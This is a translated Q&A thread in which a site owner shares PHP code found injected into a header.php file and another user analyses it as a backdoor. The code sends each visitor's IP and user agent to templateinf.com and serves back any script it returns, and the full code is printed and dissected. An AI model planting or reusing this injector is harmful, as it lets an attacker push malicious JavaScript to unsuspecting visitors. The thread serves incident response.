PHP Hack - 这段代码在做什么?

use*_*864 2 php security malware

Avast偶尔会出现在我的一个网站上.有点奇怪,因为我对安全性非常严格,但我检查了index.php文件和所有相关的包含和脚本.在我删除的"header.php"文件中找到了一些奇怪的PHP代码.

今晚,avast再次出现,尽管我的FTP数据显示该文件"自我修复后仍未编辑",但代码仍在那里.我现在已经更改了密码和所有内容.

这是有问题的PHP代码,任何建议都会对这是多么好!

<?php

$wp_bskr = 'inf';
$wp_tcc = 'template';
error_reporting(0);
ini_set('display_errors',0);
$wp_hrmr = @$_SERVER['HTTP_USER_AGENT'];

if (( preg_match ('/Gecko|MSIE/i', $wp_hrmr) && !preg_match ('/bot/i', $wp_hrmr))) {
    $wp_drss="http://".$wp_tcc.$wp_bskr.".com/".$wp_bskr."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_hrmr);

    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL,$wp_drss);

    curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $wp_wvw = curl_exec ($ch);
    curl_close($ch);
}

if ( substr($wp_wvw,1,3) === 'scr' ) {
    echo $wp_wvw;
}
?>
Run Code Online (Sandbox Code Playgroud)

*********更新************

感谢esqew更深入地研究这个并在您的博客文章中提供详细信息.可怕的东西确实.在我的最后得到了一些更新.

首先,使用avast日志(从我的网站检测到有恶意软件时),通过谷歌进行一些搜索,我发现了另一个非常相似的代码示例,并且我的终端上的avast标记的IP地址与此帖子相匹配.这里提供了一些信息来缩小范围:恶意软件 - 流量分析.n*t/2014/05/11/index.html.无论如何,我认为那是帖子.论坛的新手,不确定我是否可以发布链接,所以我已经出演了"net"tld.

从那里,我拿了匹配的IP,一个包含javascript的url,whois'd并将所有信息传递给注册商.他们从他们的结尾看了一眼,并确认有恶意事件发生在我的惊讶之中,在一小时内回复并暂停了域名并且所有人都连接到了这个IP.

其次,我的webhost发现他们认为泄漏是如何实现的.在没有给出完整的详细信息的情况下,我意识到我有一个旧的wordpress安装(旧的我的意思是,我多年没有使用和忘记的一个,自2010年以来没有更新,所以我认为容易受到攻击).从他们的日志看起来,这似乎是我的服务器的方式,因为我没有安装其他脚本.几天前,我更改了所有密码并完全删除了WP,因为它已不再使用,目前看来还不错.

esq*_*qew 8

看起来是某种后门,我们可以进一步探讨这个问题.前几行似乎设置了一些变量,使得代码更难以读取/检测:

$wp_bskr = 'inf'; // simple string settings
$wp_tcc = 'template'; // simple string settings
error_reporting(0); // making errors silent, so they are close to undetectable
ini_set('display_errors',0); // making errors silent, so they are close to undetectable
$wp_hrmr = @$_SERVER['HTTP_USER_AGENT']; // grab the user-agent string from the requesting party
Run Code Online (Sandbox Code Playgroud)

然后根据这些字符串构建URL:

http://templateinf.com/inf/?...
Run Code Online (Sandbox Code Playgroud)

...其中包含大量有关您的用户代理,您的IP地址及其来源的页面的信息.

然后它在该$wp_hrmr变量(您的用户代理字符串)上运行一个正则表达式,以检查它是否是Gecko或MSIE 并且不包含"bot"(带有草率,不必要的括号,我已经清理了一下):

if (preg_match('/Gecko|MSIE/i', $wp_hrmr) && !preg_match('/bot/i', $wp_hrmr)) {
Run Code Online (Sandbox Code Playgroud)

如果满足这些条件,它会为之前创建的骨架URL创建cURL请求:

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,$wp_drss);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_wvw = curl_exec ($ch);
curl_close($ch);
Run Code Online (Sandbox Code Playgroud)

然后查看输出,如果它在字符串中的特定点包含字符串"scr",则echo返回到浏览器的输出:

if ( substr($wp_wvw,1,3) === 'scr' ){ echo $wp_wvw; }
Run Code Online (Sandbox Code Playgroud)

根据我个人的判断,这是一个自动化工具,用于收集模板的使用统计信息(可从URL中扣除)或警告中央服务器其报告的端点容易受到某种攻击(或者可能是两者的结合).但是,似乎没有足够的混淆来证明其归类为恶意软件的合理性,也不足以让人类可读得合法.它的错误静音代码肯定指向前者,但它echo输出到缓冲区.无论哪种方式,它都是一段特殊的代码. 有关详情,请参阅下面的更新

然而,这是一个巨大的安全风险,您需要立即联系您的托管服务提供商,因为您的托管网络上可能存在比您的网站更大的问题.虽然这个代码特定部分没有做什么特别的恶意,它仍然应该得到处理风险及时在继续之前别的.

正如@Jonathan在对OP的评论中提到的那样,您网站上出现的任何未编写的代码都应该经过严格的检查.


更新

在今晚为我正在进行的博客实验撰写本文后,我在理解这个恶意软件方面取得了很大进展.

在没有看到您当前的服务器配置的情况下,我首先要弄清楚这些代码如何进入您的环境是一个挑战.但是,我发现可以肯定地说,此代码将在未来的某些时候用于大规模XSS攻击.

这些字母scr让我觉得cURL请求输出的内容最终会包含这个字符串,这是一种过滤输出的简单方法<script>.

一旦攻击者在其结束时激活包含,服务器很可能开始使用基于Javascript的代码回复请求并在访问网站时攻击客户端.攻击者可能正在等待发布一个广泛的Javascript引擎错误,他们可以利用它来做更多的恶意事情,而不仅仅是XSS(可能就像远程代码执行).

有了足够的受感染服务器,攻击者可以利用这些后门做任何事情:基于Javascript的比特币挖掘,基于Javascript的DDOS等.